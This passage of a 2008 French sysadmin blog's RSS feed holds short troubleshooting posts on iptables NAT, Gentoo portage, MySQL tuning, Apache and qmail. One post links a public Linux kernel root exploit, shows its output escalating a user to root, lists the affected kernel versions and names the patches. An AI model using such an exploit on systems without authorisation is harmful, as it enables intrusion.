<p>Y-aurait-il un généreux donateur dans la salle pour faire des tests de ces machines ? <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/10/17/ovh-lance-le-serveur-ssd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADSL2MUE et NAT</title>
		<link>http://www.oxeron.com/2008/07/17/adsl2mue-et-nat</link>
		<comments>http://www.oxeron.com/2008/07/17/adsl2mue-et-nat#comments</comments>
		<pubDate>Thu, 17 Jul 2008 08:21:26 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=119</guid>
		<description><![CDATA[Le modem ADSL2MUE de Linksys ne permet pas via son interface de faire du NAT. J&#8217;en ai eu besoin pour router certains ports entrants vers un serveur. Il faut se connecter en ssh sur l&#8217;ip interne du modem avec le login root et le mot de passe de votre compte administrateur. Une fois connecté, on a [...]]]></description>
			<content:encoded><![CDATA[<p>Le modem ADSL2MUE de Linksys ne permet pas via son interface de faire du NAT. J&#8217;en ai eu besoin pour router certains ports entrants vers un serveur. Il faut se connecter en ssh sur l&#8217;ip interne du modem avec le login root et le mot de passe de votre compte administrateur. Une fois connecté, on a accès à une interface en commandline:</p>
<p><code>cli><br />
  advanced      Modify settings in the advanced menu<br />
  apply         Apply the current changes to the running system. Does not save the settings to flash<br />
  discard       Discards any pending changes to the system<br />
  enable        Change privilege level<br />
  exit          Quit the CLI<br />
  help          CLI usage help<br />
  lan           Modify settings in the Lan menu<br />
  logoff        Quit the CLI<br />
  product-info  Product information<br />
  quit          Quit the CLI<br />
  shell         Go to the system shell<br />
  show          Show current information<br />
  stats         List modem stats<br />
  system        Modify settings in the system menu<br />
  wan           Modify settings in the Wan menu</code></p>
<p>en utilisant la commande shell, on obtient un shell busybox</p>
<p><code>cli> shell</p>
<p>Starting /bin/sh<br />
Type exit to return to the CLI</p>
<p>BusyBox v0.61.pre (2004.10.19-18:15+0000) Built-in shell (ash)<br />
Enter 'help' for a list of built-in commands.</p>
<p>#<br />
</code></p>
<p>Il suffit alors d&#8217;utiliser iptables pour router tous les ports entrant</p>
<p><code><br />
# iptables -D FORWARD -i ppp0 -j DROP<br />
# iptables -t nat -I PREROUTING -i ppp0 -j DNAT --to-destination 192.168.3.2<br />
# iptables -L -t nat</p>
<p>Chain PREROUTING (policy ACCEPT)<br />
target     prot opt source               destination<br />
DNAT       all  --  anywhere             anywhere           to:192.168.3.2</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/07/17/adsl2mue-et-nat/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>apache-2.2.4 apache-tools-2.2.9</title>
		<link>http://www.oxeron.com/2008/07/01/apache-224-apache-tools-229</link>
		<comments>http://www.oxeron.com/2008/07/01/apache-224-apache-tools-229#comments</comments>
		<pubDate>Tue, 01 Jul 2008 16:05:46 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=114</guid>
		<description><![CDATA[En voulant mettre à jour apache sur un serveur aujourd&#8217;hui, je me suis retrouvé confronté à ceci:   emerge -av apache-tools These are the packages that would be merged, in order: Calculating dependencies... done! [blocks B ] &#60;www-servers/apache-2.2.4 (is blocking app-admin/apache-tools-2.2.9) [ebuild U ] sys-devel/autoconf-wrapper-4-r3 [3.2] 0 kB [ebuild N ] app-arch/lzma-utils-4.32.6 USE="-nocxx" 467 kB [...]]]></description>
			<content:encoded><![CDATA[<p>En voulant mettre à jour apache sur un serveur aujourd&#8217;hui, je me suis retrouvé confronté à ceci:</p>
<p> <br />
<code>emerge -av apache-tools</p>
<p>These are the packages that would be merged, in order:</p>
<p>Calculating dependencies... done!<br />
[blocks B     ] &lt;www-servers/apache-2.2.4 (is blocking app-admin/apache-tools-2.2.9)<br />
[ebuild     U ] sys-devel/autoconf-wrapper-4-r3 [3.2] 0 kB<br />
[ebuild  N    ] app-arch/lzma-utils-4.32.6  USE="-nocxx" 467 kB<br />
[ebuild     U ] sys-devel/m4-1.4.11 [1.4.4] USE="nls -examples%" 683 kB<br />
[ebuild     U ] sys-devel/autoconf-2.61-r2 [2.59-r7] USE="-emacs" 1,364 kB<br />
[ebuild     U ] sys-devel/automake-wrapper-3-r1 [1-r1] 0 kB<br />
[ebuild  NS   ] sys-devel/automake-1.10.1  896 kB<br />
[ebuild  NS   ] dev-libs/apr-1.2.11  USE="-debug -doc -ipv6 -urandom" 1,087 kB<br />
[ebuild  N    ] dev-libs/libpcre-7.4  USE="unicode -doc" 764 kB<br />
[ebuild  N    ] virtual/mysql-5.0  0 kB<br />
[ebuild  NS   ] dev-libs/apr-util-1.2.10  USE="berkdb gdbm mysql -doc -ldap -postgres -sqlite -sqlite3" 686 kB<br />
[ebuild  N    ] app-admin/apache-tools-2.2.9  USE="ssl" 4,827 kB </code></p>
<p>Une situation improbable où apache-2.2.4 bloque l&#8217;installation de apache-tools-2.2.9 alors que la version installé est une 2.0 qui va êtr emise à jour en 2.2.9</p>
<p>Bref, portage a un petit coup dans l&#8217;aile que je vais rectifier de ce <del datetime="2008-07-01T16:00:54+00:00">pas</del> doigt</p>
<p><code>emerge -av portage</p>
<p>These are the packages that would be merged, in order:</p>
<p>Calculating dependencies... done!<br />
[blocks B     ] &lt;sys-apps/portage-2.1.4_rc1 (is blocking app-shells/bash-3.2_p33)</p>
<p>[blocks B     ] &lt;sys-apps/util-linux-2.13 (is blocking sys-apps/coreutils-6.10-r2)<br />
[ebuild     U ] sys-apps/sandbox-1.2.18.1-r2 [1.2.17] 231 kB<br />
[ebuild     U ] app-shells/bash-3.2_p33 [3.1_p16] USE="nls -afs -bashlogger -plugins% -vanilla% (-build%)" 2,563 kB<br />
[ebuild     U ] sys-apps/portage-2.1.4.4 [2.1.1] USE="-build -doc -epydoc% (-selinux)" LINGUAS="-pl" 367 kB<br />
*** Portage will stop merging at this point and reload itself,<br />
    then resume the merge.<br />
[ebuild     U ] sys-devel/automake-wrapper-3-r1 [1-r1] 0 kB<br />
[ebuild     U ] sys-devel/m4-1.4.11 [1.4.4] USE="nls -examples%" 0 kB<br />
[ebuild     U ] sys-devel/autoconf-2.61-r2 [2.59-r7] USE="-emacs" 1,364 kB<br />
[ebuild  NS   ] sys-devel/automake-1.10.1  896 kB<br />
[ebuild     U ] sys-apps/coreutils-6.10-r2 [5.94-r1] USE="acl nls (-selinux) -static -vanilla% -xattr% (-build%)" 3,691 kB<br />
[ebuild     U ] dev-python/pycrypto-2.0.1-r6 [2.0.1-r5] USE="-bindist -gmp -test" 0 kB </p>
<p>Total size of downloads: 9,114 kB</p>
<p>!!! Error: The above package list contains packages which cannot be installed<br />
!!!        at the same time on the same system.</code></p>
<p>Un ptit coup de <code>emerge -pv  "=sys-apps/util-linux-2.13.1.1"</code> pour résoudre le premier blocage, puis un <code>emerge =app-shells/bash-3.2_p17-r1</code> pour résoudre le deuxième, et portage se met à jour gentiment sans protester en 2.1.4.4</p>
<p>Il n&#8217;y a plus qu&#8217;à relancer l&#8217;installation d&#8217;apache et plus aucun blocage n&#8217;apparaît.<br />
 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/07/01/apache-224-apache-tools-229/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sa-update n&#8217;aime pas localhost</title>
		<link>http://www.oxeron.com/2008/06/30/sa-update-naime-pas-localhost</link>
		<comments>http://www.oxeron.com/2008/06/30/sa-update-naime-pas-localhost#comments</comments>
		<pubDate>Mon, 30 Jun 2008 07:54:17 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/06/30/sa-update-naime-pas-localhost</guid>
		<description><![CDATA[Si votre sa-update -D se plaint de ne pas trouver de nameserver, il suffit de remplacer nameserver localhost par nameserver 127.0.0.1 dans votre fichier /etc/resolv.conf Le fautif: le module Perl Net::DNS Ca peut toujours servir&#8230; ou pas.]]></description>
			<content:encoded><![CDATA[<p>Si votre sa-update -D se plaint de ne pas trouver de nameserver, il suffit de remplacer nameserver localhost par nameserver 127.0.0.1 dans votre fichier /etc/resolv.conf</p>
<p>Le fautif: le module Perl Net::DNS</p>
<p>Ca peut toujours servir&#8230; ou pas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/06/30/sa-update-naime-pas-localhost/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>tcprules</title>
		<link>http://www.oxeron.com/2008/06/26/tcprules</link>
		<comments>http://www.oxeron.com/2008/06/26/tcprules#comments</comments>
		<pubDate>Thu, 26 Jun 2008 05:39:53 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/06/26/tcprules</guid>
		<description><![CDATA[Comme je n&#8217;arrive jamais à retenir cette ligne pourtant fort simple, hop hop je la note dans un coin de mon blog, ca peut toujours (me) servir. Ceux qui en ont besoin sauront à quoi ca sert tcprules tcp.qmail-smtp.cdb tcp.qmail-smtp.tmp < tcp.qmail-smtp]]></description>
			<content:encoded><![CDATA[<p>Comme je n&#8217;arrive jamais à retenir cette ligne pourtant fort simple, hop hop je la note dans un coin de mon blog, ca peut toujours (me) servir. Ceux qui en ont besoin sauront à quoi ca sert <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<code>tcprules tcp.qmail-smtp.cdb tcp.qmail-smtp.tmp < tcp.qmail-smtp</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/06/26/tcprules/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Optimiser un serveur MySQL</title>
		<link>http://www.oxeron.com/2008/06/25/optimiser-un-serveur-mysql</link>
		<comments>http://www.oxeron.com/2008/06/25/optimiser-un-serveur-mysql#comments</comments>
		<pubDate>Wed, 25 Jun 2008 12:51:47 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/06/25/optimiser-un-serveur-mysql</guid>
		<description><![CDATA[Voici quelques informations et scripts bien utiles pour optimiser un serveur MySQL: - http://rackerhacker.com/mysqltuner/ Ce script produit des recommandations après avoir analysé la configuration du serveur ovh ~ # ./mysqltuner.pl &#62;&#62; MySQLTuner 0.9.1 - Major Hayden &#62;&#62; Bug reports, feature requests, and downloads at http://mysqltuner.com/ &#62;&#62; Run with '--help' for additional options and output filtering [...]]]></description>
			<content:encoded><![CDATA[<p>Voici quelques informations et scripts bien utiles pour optimiser un serveur MySQL:</p>
<p>- <a href="http://rackerhacker.com/mysqltuner/" target="_blank">http://rackerhacker.com/mysqltuner/</a></p>
<p>Ce script produit des recommandations après avoir analysé la configuration du serveur</p>
<p><code><br />
ovh ~ # ./mysqltuner.pl</p>
<p>&gt;&gt;  MySQLTuner 0.9.1 - Major Hayden <major@mhtx.net><br />
&gt;&gt;  Bug reports, feature requests, and downloads at http://mysqltuner.com/<br />
&gt;&gt;  Run with '--help' for additional options and output filtering<br />
Please enter your MySQL administrative login: root<br />
Please enter your MySQL administrative password: </major@mhtx.net></p>
<p>-------- General Statistics --------------------------------------------------<br />
[OK] You have the latest version of MySQLTuner<br />
[OK] Currently running supported MySQL version 5.0.44-log<br />
[OK] Operating on 32-bit architecture with less than 2GB RAM</p>
<p>-------- Storage Engine Statistics -------------------------------------------<br />
[--] Status: -Archive +BDB -Federated +InnoDB -ISAM -NDBCluster<br />
[--] Data in MyISAM tables: 428K (Tables: 79)<br />
[!!] InnoDB is enabled but isn't being used<br />
[!!] BDB is enabled but isn't being used<br />
[!!] Total fragmented tables: 9</p>
<p>-------- Performance Metrics -------------------------------------------------<br />
[--] Up for: 5d 20h 44m 17s (282K q [0.557 qps], 67K conn, TX: 102M, RX: 38M)<br />
[--] Reads / Writes: 66% / 34%<br />
[--] Total buffers: 1.6M per thread and 58.0M global<br />
[OK] Maximum possible memory usage: 213.5M (21% of installed RAM)<br />
[OK] Slow queries: 0% (0/282K)<br />
[OK] Highest usage of available connections: 10% (10/100)<br />
[OK] Key buffer size / total MyISAM indexes: 16.0M/315.0K<br />
[OK] Key buffer hit rate: 99.9%<br />
[!!] Query cache is disabled<br />
[OK] Sorts requiring temporary tables: 0%<br />
[OK] Temporary tables created on disk: 4%<br />
[!!] Thread cache is disabled<br />
[!!] Table cache hit rate: 12%<br />
[OK] Open file limit used: 12%<br />
[OK] Table locks acquired immediately: 99%</p>
<p>-------- Recommendations -----------------------------------------------------<br />
General recommendations:<br />
Add skip-innodb to MySQL configuration to disable InnoDB<br />
Add skip-bdb to MySQL configuration to disable BDB<br />
Run OPTIMIZE TABLE to defragment tables for better performance<br />
Enable the slow query log to troubleshoot bad queries<br />
Set thread_cache_size to 4 as a starting value<br />
Increase table_cache gradually to avoid file descriptor limits<br />
Variables to adjust:<br />
query_cache_size (&gt;= 8M)<br />
thread_cache_size (start at 4)<br />
table_cache (&gt; 64)<br />
</code></p>
<p>- <a href="http://www.day32.com/MySQL/" target="_blank">http://www.day32.com/MySQL/</a></p>
<p>Cette page regroupe plusieurs scripts dont certains surveillent une réplication MySQL. Voici un exemple de résultat sur le même serveur que précédemment</p>
<p><code><br />
-- MYSQL PERFORMANCE TUNING PRIMER --<br />
- By: Matthew Montgomery -</p>
<p>MySQL Version 5.0.44-log i686</p>
<p>Uptime = 5 days 20 hrs 49 min 18 sec<br />
Avg. qps = 0<br />
Total Questions = 282259<br />
Threads Connected = 6</p>
<p>Server has been running for over 48hrs.<br />
It should be safe to follow these recommendations</p>
<p>To find out more information on how each of these<br />
runtime variables effects performance visit:</p>
<p>http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html</p>
<p>Visit http://www.mysql.com/products/enterprise/advisors.html<br />
for info about MySQL's Enterprise Monitoring and Advisory Service</p>
<p>SLOW QUERIES<br />
The slow query log is NOT enabled.<br />
Current long_query_time = 10 sec.<br />
You have 0 out of 282280 that take longer than 10 sec. to complete<br />
Your long_query_time may be too high, I typically set this under 5 sec.</p>
<p>BINARY UPDATE LOG<br />
The binary update log is enabled<br />
The expire_logs_days is not set.<br />
The mysqld will retain the entire binary log until RESET MASTER or PURGE MASTER LOGS commands are run manually<br />
Setting expire_logs_days will allow you to remove old binary logs automatically<br />
See http://dev.mysql.com/doc/refman/5.0/en/purge-master-logs.html</p>
<p>WORKER THREADS<br />
Current thread_cache_size = 0<br />
Current threads_cached = 0<br />
Current threads_per_sec = 1<br />
Historic threads_per_sec = 0<br />
Your thread_cache_size is fine</p>
<p>MAX CONNECTIONS<br />
Current max_connections = 100<br />
Current threads_connected = 6<br />
Historic max_used_connections = 10<br />
The number of used connections is 10% of the configured maximum.<br />
You are using less than 10% of your configured max_connections.<br />
Lowering max_connections could help to avoid an over-allocation of memory<br />
See "MEMORY USAGE" section to make sure you are not over-allocating</p>
<p>MEMORY USAGE<br />
Max Memory Ever Allocated : 57 M<br />
Configured Max Per-thread Buffers : 158 M<br />
Configured Max Global Buffers : 42 M<br />
Configured Max Memory Limit : 200 M<br />
Physical Memory : 997.33 M<br />
Max memory limit seem to be within acceptable norms</p>
<p>KEY BUFFER<br />
Current MyISAM index space = 448 K<br />
Current key_buffer_size = 16 M<br />
Key cache miss rate is 1 : 712<br />
Key buffer fill ratio = 1.00 %<br />
Your key_buffer_size seems to be too high.<br />
Perhaps you can use these resources elsewhere</p>
<p>QUERY CACHE<br />
Query cache is supported but not enabled<br />
Perhaps you should set the query_cache_size</p>
<p>SORT OPERATIONS<br />
Current sort_buffer_size = 512 K<br />
Current read_rnd_buffer_size = 508 K<br />
Sort buffer seems to be fine</p>
<p>JOINS<br />
Current join_buffer_size = 132.00 K<br />
You have had 0 queries where a join could not use an index properly<br />
Your joins seem to be using indexes properly</p>
<p>OPEN FILES LIMIT<br />
Current open_files_limit = 1024 files<br />
The open_files_limit should typically be set to at least 2x-3x<br />
that of table_cache if you have heavy MyISAM usage.<br />
Your open_files_limit value seems to be fine</p>
<p>TABLE CACHE<br />
Current table_cache value = 64 tables<br />
You have a total of 96 tables<br />
You have 64 open tables.<br />
Current table_cache hit rate is 8%, while 100% of your table cache is in use<br />
You should probably increase your table_cache</p>
<p>TEMP TABLES<br />
Current max_heap_table_size = 16 M<br />
Current tmp_table_size = 32 M<br />
Of 2541 temp tables, 4% were created on disk<br />
Effective in-memory tmp_table_size is limited to max_heap_table_size.<br />
Created disk tmp tables ratio seems fine</p>
<p>TABLE SCANS<br />
Current read_buffer_size = 252 K<br />
Current table scan ratio = 1 : 1<br />
read_buffer_size seems to be fine</p>
<p>TABLE LOCKING<br />
Current Lock Wait ratio = 1 : 5629<br />
Your table locking seems to be fine<br />
</code></p>
<p>- <a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a></p>
<p>Ce script dispose d&#8217;un guide comple disponible ici http://hackmysql.com/mysqlreportguide qui permet d&#8217;approfondir les résultats obtenus.</p>
<p><code><br />
MySQL 5.0.44-log         uptime 5 20:52:50      Wed Jun 25 14:51:12 2008</p>
<p>__ Key _________________________________________________________________<br />
Buffer used   150.00k of  16.00M  %Used:   0.92<br />
Current       1.87M            %Usage:  11.67<br />
Write hit      24.14%<br />
Read hit       99.85%</p>
<p>__ Questions ___________________________________________________________<br />
Total         282.76k     0.6/s<br />
Com_        184.34k     0.4/s  %Total:  65.19<br />
DMS         144.44k     0.3/s           51.08<br />
-Unknown    113.28k     0.2/s           40.06<br />
COM_QUIT     67.25k     0.1/s           23.79<br />
Slow 10 s           0       0/s            0.00  %DMS:   0.00  Log: OFF<br />
DMS           144.44k     0.3/s           51.08<br />
SELECT       96.55k     0.2/s           34.14         66.84<br />
REPLACE      40.42k     0.1/s           14.30         27.98<br />
INSERT        6.53k     0.0/s            2.31          4.52<br />
UPDATE          681     0.0/s            0.24          0.47<br />
DELETE          267     0.0/s            0.09          0.18<br />
Com_          184.34k     0.4/s           65.19<br />
admin_comma 113.73k     0.2/s           40.22<br />
change_db    67.88k     0.1/s           24.00<br />
show_variab     760     0.0/s            0.27</p>
<p>__ SELECT and Sort _____________________________________________________<br />
Scan            6.44k     0.0/s %SELECT:   6.67<br />
Range               0       0/s            0.00<br />
Full join           0       0/s            0.00<br />
Range check         0       0/s            0.00<br />
Full rng join       0       0/s            0.00<br />
Sort scan       1.51k     0.0/s<br />
Sort range        993     0.0/s<br />
Sort mrg pass       0       0/s</p>
<p>__ Table Locks _________________________________________________________<br />
Waited             26     0.0/s  %Total:   0.02<br />
Immediate     146.48k     0.3/s</p>
<p>__ Tables ______________________________________________________________<br />
Open               64 of   64    %Cache: 100.00<br />
Opened            860     0.0/s</p>
<p>__ Connections _________________________________________________________<br />
Max used           10 of  100      %Max:  10.00<br />
Total          67.27k     0.1/s</p>
<p>__ Created Temp ________________________________________________________<br />
Disk table        112     0.0/s<br />
Table           2.55k     0.0/s    Size:  32.0M<br />
File                5     0.0/s</p>
<p>__ Threads _____________________________________________________________<br />
Running             1 of    6<br />
Cached              0 of    0      %Hit:      0<br />
Created        67.27k     0.1/s<br />
Slow                0       0/s</p>
<p>__ Aborted _____________________________________________________________<br />
Clients            34     0.0/s<br />
Connects           11     0.0/s</p>
<p>__ Bytes _______________________________________________________________<br />
Sent          103.02M   203.1/s<br />
Received       38.68M    76.3/s</p>
<p>__ InnoDB Buffer Pool __________________________________________________<br />
Usage           2.80M of  16.00M  %Used:  17.48<br />
Read hit      100.00%<br />
Pages<br />
Free            845            %Total:  82.52<br />
Data            178                     17.38 %Drty:   0.00<br />
Misc              1                      0.10<br />
Latched           0                      0.00<br />
Reads           1.40k     0.0/s<br />
From file         0       0/s            0.00<br />
Ahead Rnd         0       0/s<br />
Ahead Sql         0       0/s<br />
Writes          1.17k     0.0/s<br />
Flushes           189     0.0/s<br />
Wait Free           0       0/s</p>
<p>__ InnoDB Lock _________________________________________________________<br />
Waits               0       0/s<br />
Current             0<br />
Time acquiring<br />
Total             0 ms<br />
Average           0 ms<br />
Max               0 ms</p>
<p>__ InnoDB Data, Pages, Rows ____________________________________________<br />
Data<br />
Reads             0       0/s<br />
Writes           38     0.0/s<br />
fsync            16     0.0/s<br />
Pending<br />
Reads           0<br />
Writes          0<br />
fsync           0</p>
<p>Pages<br />
Created         178     0.0/s<br />
Read              0       0/s<br />
Written         189     0.0/s</p>
<p>Rows<br />
Deleted           0       0/s<br />
Inserted          0       0/s<br />
Read              0       0/s<br />
Updated           0       0/s<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/06/25/optimiser-un-serveur-mysql/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(EAI 2)Name or service not known: mod_unique_id: unable to find IPv4 address of &#171;&#160;xxx&#160;&#187;</title>
		<link>http://www.oxeron.com/2008/05/27/eai-2name-or-service-not-known-mod_unique_id-unable-to-find-ipv4-address-of-xxx</link>
		<comments>http://www.oxeron.com/2008/05/27/eai-2name-or-service-not-known-mod_unique_id-unable-to-find-ipv4-address-of-xxx#comments</comments>
		<pubDate>Tue, 27 May 2008 13:42:12 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/05/27/eai-2name-or-service-not-known-mod_unique_id-unable-to-find-ipv4-address-of-xxx</guid>
		<description><![CDATA[Gentoo c&#8217;est bien, mais à chaque nouvelle release d&#8217;un package apache, php ou mysql, ils font des choses bizarres et plus rien ne marche. Le dernier en date que je n&#8217;avais pas encore eu, lors de l&#8217;install d&#8217;apache-2.2.8, le serveur refuse de démarrer (Error: [alert] (EAI 2)Name or service not known: mod_unique_id: unable to find [...]]]></description>
			<content:encoded><![CDATA[<p>Gentoo c&#8217;est bien, mais à chaque nouvelle release d&#8217;un package apache, php ou mysql, ils font des choses bizarres et plus rien ne marche. Le dernier en date que je n&#8217;avais pas encore eu, lors de l&#8217;install d&#8217;apache-2.2.8, le serveur refuse de démarrer (Error: [alert] (EAI 2)Name or service not known: mod_unique_id: unable to find IPv4 address of &laquo;&nbsp;xxx&nbsp;&raquo;) car je n&#8217;ai pas mis l&#8217;ip dans le fichier /etc/hosts. Du coup, il faut commenter la ligne LoadModule unique_id_module modules/mod_unique_id.so dans /etc/apache2/httpd.conf et tout rentre dans l&#8217;ordre.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/05/27/eai-2name-or-service-not-known-mod_unique_id-unable-to-find-ipv4-address-of-xxx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Shorewall 3.4.6 et multi ISP</title>
		<link>http://www.oxeron.com/2008/02/24/shorewall-346-et-multi-isp</link>
		<comments>http://www.oxeron.com/2008/02/24/shorewall-346-et-multi-isp#comments</comments>
		<pubDate>Sun, 24 Feb 2008 14:00:08 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/02/24/shorewall-346-et-multi-isp/</guid>
		<description><![CDATA[Depuis plusieurs jours, je me cassais la tête sur la configuration de shorewall qui refusait de respecter mes règles de routing pour le traffic sortant de mon installation. Je dispose d&#8217;une configuration à deux lignes DSL (une Free et une Wanadoo), l&#8217;une de ces lignes est utilisée par la DMZ, l&#8217;autre par le bureau. J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p>Depuis plusieurs jours, je me cassais la tête sur la configuration de shorewall qui refusait de respecter mes règles de routing pour le traffic sortant de mon installation. Je dispose d&#8217;une configuration à deux lignes DSL (une Free et une Wanadoo), l&#8217;une de ces lignes est utilisée par la DMZ, l&#8217;autre par le bureau.</p>
<p>J&#8217;ai découvert aujourd&#8217;hui la présence de deux patchs qui m&#8217;ont permis de résoudre mon problème sans rien modifier à ma configuration actuelle, vous les trouverez ici : <a href="http://www.shorewall.net/shorewall_index.htm#Notice" target="_blank">http://www.shorewall.net/shorewall_index.htm#Notice</a></p>
<p>A la base, j&#8217;avais trouvé <a href="http://www.mail-archive.com/shorewall-users@lists.sourceforge.net/msg03883.html" target="_blank">ce post</a> sur une mailing list qui correspondait exactement à mon problème.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/02/24/shorewall-346-et-multi-isp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Devenir root sur un serveur en exploitant une failler du kernel</title>
		<link>http://www.oxeron.com/2008/02/10/devenir-root-sur-un-serveur-en-exploitant-une-failler-du-kernel</link>
		<comments>http://www.oxeron.com/2008/02/10/devenir-root-sur-un-serveur-en-exploitant-une-failler-du-kernel#comments</comments>
		<pubDate>Sun, 10 Feb 2008 19:46:04 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/02/10/devenir-root-sur-un-serveur-en-exploitant-une-failler-du-kernel/</guid>
		<description><![CDATA[Si vous vous rendez ici, vous pourrez trouver un bout de code qui vous permet de devenir root très simplement: bash-3.00$ whoami olivier bash-3.00$ ./exploit [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [...]]]></description>
			<content:encoded><![CDATA[<p>Si vous vous<a href="http://www.milw0rm.com/exploits/5092" target="_blank"> rendez ici</a>, vous pourrez trouver un bout de code qui vous permet de devenir root très simplement:</p>
<p><code>bash-3.00$ whoami<br />
olivier<br />
bash-3.00$ ./exploit<br />
[+] mmap: 0x0 .. 0x1000<br />
[+] page: 0x0<br />
[+] page: 0x20<br />
[+] mmap: 0x4000 .. 0x5000<br />
[+] page: 0x4000<br />
[+] page: 0x4020<br />
[+] mmap: 0x1000 .. 0x2000<br />
[+] page: 0x1000<br />
[+] mmap: 0xb7f63000 .. 0xb7f95000<br />
[+] root<br />
bash-3.00# whoami<br />
root<br />
bash-3.00#</code></p>
<p>La faille impacte tous les noyaux du 2.6.17 au 2.6.24. Le 2.6.24.1 est corrigé pour la faille sauf si vous l&#8217;avez patché avec vserver.Si vous utilisez grsec avec PaX la faille ne passe pas. <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=54;filename=patch;att=1;bug=464945" target="_blank">Debian fournit un patch</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/02/10/devenir-root-sur-un-serveur-en-exploitant-une-failler-du-kernel/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Migrer des comptes qmail/vpopmail d&#8217;un serveur à un autre</title>
		<link>http://www.oxeron.com/2008/02/07/migrer-des-comptes-qmailvpopmail-dun-serveur-a-un-autre</link>
		<comments>http://www.oxeron.com/2008/02/07/migrer-des-comptes-qmailvpopmail-dun-serveur-a-un-autre#comments</comments>
		<pubDate>Thu, 07 Feb 2008 09:32:24 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/02/07/migrer-des-comptes-qmailvpopmail-dun-serveur-a-un-autre/</guid>
		<description><![CDATA[J&#8217;ai dû déplacer pour un client ses comptes mails géré par vpopmail d&#8217;un serveur à un autre. Après avoir installé qmail/vpopmail sur le nouveau serveur, j&#8217;ai déplacé le contenu de son répertoire vpopmail/domains, remis les droits corrects, copié le contenu des fichiers /var/qmail/control/rcpthosts /var/qmail/control/morercpthosts /var/qmail/control/virtualdomains et /var/qmail/users/assign (en changeant la valeur des uid:gid dans ce [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai dû déplacer pour un client ses comptes mails géré par vpopmail d&#8217;un serveur à un autre. Après avoir installé qmail/vpopmail sur le nouveau serveur, j&#8217;ai déplacé le contenu de son répertoire vpopmail/domains, remis les droits corrects, copié le contenu des fichiers /var/qmail/control/rcpthosts /var/qmail/control/morercpthosts /var/qmail/control/virtualdomains et /var/qmail/users/assign (en changeant la valeur des uid:gid dans ce dernier fichier) Rien à faire, vpopmail refuse de voir les domaines ajoutés de cette façon. Je n&#8217;ai trouvé nulle part sur l&#8217;ancien serveur de database locale contenant éventuellement d&#8217;autres informations.J&#8217;ai donc utilisé <a href="http://qmail.jms1.net/scripts/migrate-domain.shtml" target="_blank">un script trouvé ici</a> qui permet de sauvegarder les mailbox vpopmail de l&#8217;ancien serveur et crée un script sh de recréation de compte sur le nouveau serveur. Pratique, mais il faut se taper tous les domaines à la main.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/02/07/migrer-des-comptes-qmailvpopmail-dun-serveur-a-un-autre/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installer l&#8217;extension ssh2 dans PHP Gentoo</title>
		<link>http://www.oxeron.com/2008/01/29/installer-lextension-ssh2-dans-php-gentoo</link>
		<comments>http://www.oxeron.com/2008/01/29/installer-lextension-ssh2-dans-php-gentoo#comments</comments>
		<pubDate>Tue, 29 Jan 2008 10:23:04 +0000</pubDate>
